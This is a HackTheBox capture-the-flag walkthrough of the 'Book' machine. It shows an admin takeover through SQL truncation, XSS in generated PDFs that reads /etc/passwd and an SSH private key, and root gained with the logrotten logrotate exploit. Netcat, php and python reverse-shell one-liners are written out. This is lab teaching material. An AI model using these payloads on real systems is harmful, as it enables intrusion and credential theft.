HTB Book Walkthrough

Welcome to another of my HackTheBox walkthroughs, today we are going to tackle the Book box!

HTB Book Walkthrough

Greetings Secjuice drinkers, nice to see you here again! Welcome to another of my HackTheBox walkthroughs, today we are going to tackle the Book box. Lets jump right in and have some fun!

As always, we begin with an Nmap scan...

sudo nmap -A -T4

Starting Nmap 7.80 ( ) at 2020-05-30 11:39 CEST
Nmap scan report for
Host is up (0.046s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
1   46.35 ms
2   45.74 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 48.14 seconds

As usual for a Linux machine two open ports (a clean installation): 22 (ssh) and 80 (HTTP). On the web portal (, we can find a form to access the site.

After a few minutes of investigation, I try to register and access to the portal, with a new account.

Looking around the portal I  identify a sort of library for flowers and some other nature books. Looking inside the source code of the home page I can identify some links that you can also navigate to through the link on the page.

<div class="navbar">
  <a href="index.php" class="active">Home</a>
  <a href="books.php">Books</a>
  <a href="collections.php">Collections</a>
  <a href="contact.php">Contact Us</a>
  <div style="float:right;"><a href="logout.php">Logout</a></div>
<div class="dropdown" style="float:right">
    <button class="dropbtn">Signed in as ' asasa''      <i class="fa fa-caret-down"></i>
    <div class="dropdown-content">
      <a href="profile.php">View Profile</a>
      <a href="settings.php">Settings</a>

On the books page, there's the possibility to download some pdfs (I try to inject the pdf number parameter but it seems to be not injectable).

The collections page allows the user to upload an image. I cannot understand at moment "where" the image is uploaded (if it is uploaded), so I try using dirb with the filename I used for the file, and some other formatting, but nothing found. It seems to not be injectable too.

In the Contact Us page, there's a form to provide a message to the admin user (if I can understand the admin mail, it could be interesting). The form seems to be not vulnerable (if it works in some way). The View profile page, allows the user to change his name, but nothing else.

Lastly, the page settings don't work.

[email protected]:~/Dropbox/hackthebox/_10.10.10.176 - Book$ dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Sat May 30 11:53:24 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                                                                                                                                                
==> DIRECTORY:                                                                                                                                                                 
==> DIRECTORY:                                                                                                                                                               
+ (CODE:200|SIZE:6800)                                                                                                                                                     
+ (CODE:403|SIZE:277)                                                                                                                                                  
---- Entering directory: ----
==> DIRECTORY:                                                                                                                                                         
+ (CODE:200|SIZE:6291)                                                                                                                                               
==> DIRECTORY:                                                                                                                                                         
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
==> DIRECTORY:                                                                                                                                                
---- Entering directory: ----
+ (CODE:200|SIZE:2918)                                                                                                                                 
END_TIME: Sat May 30 12:23:37 2020

Using dirb, anyway, I found an admin page, that seems to use the same form to login, but modified... not so well, let me say.

<script src=""></script>
<script id="rendered-js">
      const signUpButton = document.getElementById('signUp');
const signInButton = document.getElementById('signIn');
const container = document.getElementById('container');

signUpButton.addEventListener('click', () => container.classList.add('right-panel-active'));

signInButton.addEventListener('click', () => container.classList.remove('right-panel-active'));
      //# sourceURL=pen.js
  if ( {
    window.parent.postMessage("resize", "*");
function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;

In the HTML code, I can find the code to activate the registration form and the validation for the valid name and email fields. The idea is to register a new user with admin privileges or something else. To activate the registration section, you have to open the developer toolbar and on the console write the command container.classList.add('right-panel-active'). I try for hours, and finally by mixing the information on the code, I can overwrite the original admin credential.

Probably the login process trims the provided credentials, selecting the original. To register on the portal with a similar admin email, you can provide the same name of the admin and a mail with the same prefix of the original one ([email protected]), but with additional space char at the end for a total of 20 characters (accepted by the form), and a custom last char to close the string. The registration process will truncate your mail to 20 character (I suppose), trimming the rest and retrieve the original administrator's mail, the new user will registered with the password you provide.

Obviously, your registration will be blocked by the validation, so you have to disable the check of the email format on the field of the form. To do this use the developer toolbar of the browser, removing the email type properties on the input tag element.

I'd like to give come additional information, I read on the forum, someone who complained about other people that delete your user registration, but I think that is not so. When you log-in to the user portal, the credential selected must be the one created by you, to be before the original admin credential, you have to use a name that sorted appear before the "admin", so, for example, you can choose "abmin" or "aadmin", or something else. If many people register different users, those on the top could not be yours, but someone elses (no ones are deleting your registration), so to ensure that you will be the first, chose something like "aaaaa" or, better, "_a".

Now login on the user portal with the new administration credential you created (it seems that use the same credentials but different sessions). Turn again on the portal, using the same feature, but giving a look at the admin session to identify changes on that. I found that, after uploading a document on the collections page, the pdf generated on the collections page on the admin section provides a new record identifying also where the document is uploaded. The idea is to verify if there's a cross-site scripting (XSS) attack based on the pdf file, so I search on google for "XSS pdf", the best result is this page:

Local File Read via XSS in Dynamically Generated PDF
Hello Hunters, This time I am writing about a Vulnerability found in another private program( on Bugcrowd which at f…

After a first try, I understand that it could be my way.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};"GET","file:///etc/passwd");x.send();</script>

Ok, let me give a couple of suggestions:

  • First one, don't use Xpdf if you need a text, it visualizes the pdf in image format, I lost a lot of time trying to convert pdf in OCR to extract the text when I visualize with the browser, I see that it should compare like a simple text.
  • Remember that you are not alone on this CTF, so, could be possible that you'll visualize attacks from other people.

From the passwd file, I understand that there are only two users with a section in folder /home: syslog and reader (considering the name of the server I'll bet on the second one). Let's me try if the www user can access one of these folders:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};"GET","file:///home/reader/user.txt");x.send();</script>

And it seems the answer to my question is... yes!


Well, after that, I try for hours to understand and searching on internet about a sort of reverse shell through the pdf XSS vulnerability, but founding nothing, so, I should come back on reading for known files on the machine.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};"GET","file:///etc/shadow");x.send();</script>

I can't access it.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};"GET","file:///home/reader/.ssh/authorized_keys");x.send();</script>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};"GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

Good, but it seems that the right part of the document is missing, let me try to reduce the font or something else.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText); = "x-small";};"GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

As I said, I have an image with Xpdf (or my incapacity to use Xpdf), but when I browse the pdf through the browser I can select the text.

# remember to restrict the access to your id_rsa file using the command "chmod 400 id_rsa"

[email protected]:~/Dropbox/hackthebox/_10.10.10.176 - Book/attack/ssh-att$ ssh [email protected] -i id_rsa 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sun May 31 15:05:09 UTC 2020

  System load:  0.08               Processes:            153
  Usage of /:   27.0% of 19.56GB   Users logged in:      1
  Memory usage: 26%                IP address for ens33:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

114 packages can be updated.
0 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Sun May 31 10:37:48 2020 from
[email protected]:~$ 

I found script inside the machine, also after a restart, so probably whoever create the box wanted to give us a hint, but I'd like to use that gives me a lot of additional info, so I launch a web server on my machine which allows me to download what I need from the remote victim.

[email protected]:~/Dropbox/hackthebox/_10.10.10.176 - Book/attack/ws-upload$ php -S ./
PHP 7.3.15-3 Development Server started at Sun May 31 17:41:09 2020
Listening on
Document root is /home/in7rud3r/Dropbox/hackthebox/_10.10.10.176 - Book/attack/ws-upload
Press Ctrl-C to quit.

After two different scans with these two tools, nothing in particular is found.

In the forum, I read about the l**r*** service that we can use to hack the machine. Searching between the processes running on the machine I found the "logorotate" and reading the linpeas result again...

[email protected]:/tmp/not-this$ ./ | grep logrotate
reader    63684  0.0  0.0  13132  1112 pts/0    S+   16:01   0:00 grep --color=auto logrotate
-rwxr-xr-x  1 root root  372 Aug 21  2017 logrotate

Following the link, I found that exist a specific exploit for this...

Contribute to whotwagner/logrotten development by creating an account on GitHub.

Let me explain. The idea of logrotate is to write logs info on a series of files that are created each time the dimension or something characteristic of the file, where the information is stored, is reached. At that moment seems that the process executes something. The exploit consists in overwriting that process (that is executed wit that administrator credential) with a custom action (like a reverse shell).

So, download on my machine and after on the remote server.

[email protected]:/tmp/not-this$ wget
--2020-05-31 16:14:08--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 7342 (7.2K) [text/x-c]
Saving to: ‘logrotten.c’

logrotten.c                      100%[==========================================================>]   7.17K  --.-KB/s    in 0.003s  

2020-05-31 16:14:08 (2.24 MB/s) - ‘logrotten.c’ saved [7342/7342]

[email protected]:/tmp/not-this$ ls -la
total 192
drwxrwxr-x  2 reader reader   4096 May 31 16:14 .
drwxrwxrwt 12 root   root     4096 May 31 16:09 ..
-rw-rw-r--  1 reader reader    126 May 31 15:50 index.html
-rwxrwxr-x  1 reader reader 175038 May 31 15:43
-rw-rw-r--  1 reader reader   7342 May 31 16:14 logrotten.c
[email protected]:/tmp/not-this$ gcc -o logrotten logrotten.c
[email protected]:/tmp/not-this$ ls -la
total 212
drwxrwxr-x  2 reader reader   4096 May 31 16:14 .
drwxrwxrwt 12 root   root     4096 May 31 16:14 ..
-rw-rw-r--  1 reader reader    126 May 31 15:50 index.html
-rwxrwxr-x  1 reader reader 175038 May 31 15:43
-rwxrwxr-x  1 reader reader  17984 May 31 16:14 logrotten
-rw-rw-r--  1 reader reader   7342 May 31 16:14 logrotten.c
[email protected]:/tmp/not-this$ echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash 3333 &); fi" > payloadfile

I prepare also the payload with the connection with the reverse shell on my computer. So, activate the listener on your machine...

[email protected]:~/Dropbox/hackthebox/_10.10.10.176 - Book/attack/ssh-att$ nc -lvp 3333
listening on [any] 3333 ...
[email protected]:/tmp/not-this$ ./logrotten -p ./payloadfile /home/reader/backups/access.log &  
[1] 98817
[email protected]:/tmp/not-this$ Waiting for rotating /home/reader/backups/access.log...
nano /home/reader/backups/access.log
[email protected]:/tmp/not-this$ Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...

Let me say that this seems too simple, I lost a lot of hours before the exploit worked, I launched the script about one hundred times before seeing a result,and finally I succeeded. I understand that the bash shell doesn't work so well and in fact, I had many problems and after different tries with different shells, I arrive at a python script that works (quite) well. Follow other reverse shell used during my discovery.

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Repeat the command with the payload in python and write something on the first file of the log, to activate the overridden process:

[email protected]:~$ ./lr -p pl0 backups/access.log &
[1] 4912
[email protected]:~$ Waiting for rotating backups/access.log...

[email protected]:~$ echo "aaaa" >> backups/access.log
[email protected]:~$ Renamed backups with backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...

And the second flag is captured, connect and read the root file:

[email protected]:~/Dropbox/hackthebox/_10.10.10.176 - Book/attack/ssh-att$ nc -lvp 5678
listening on [any] 5678 ...
cat root.txt inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 40472

# 8******************************4

That's all for today, good luck my friends!

The awesome image used in this article is called Crash Land and it was created by Akshay Raghavan.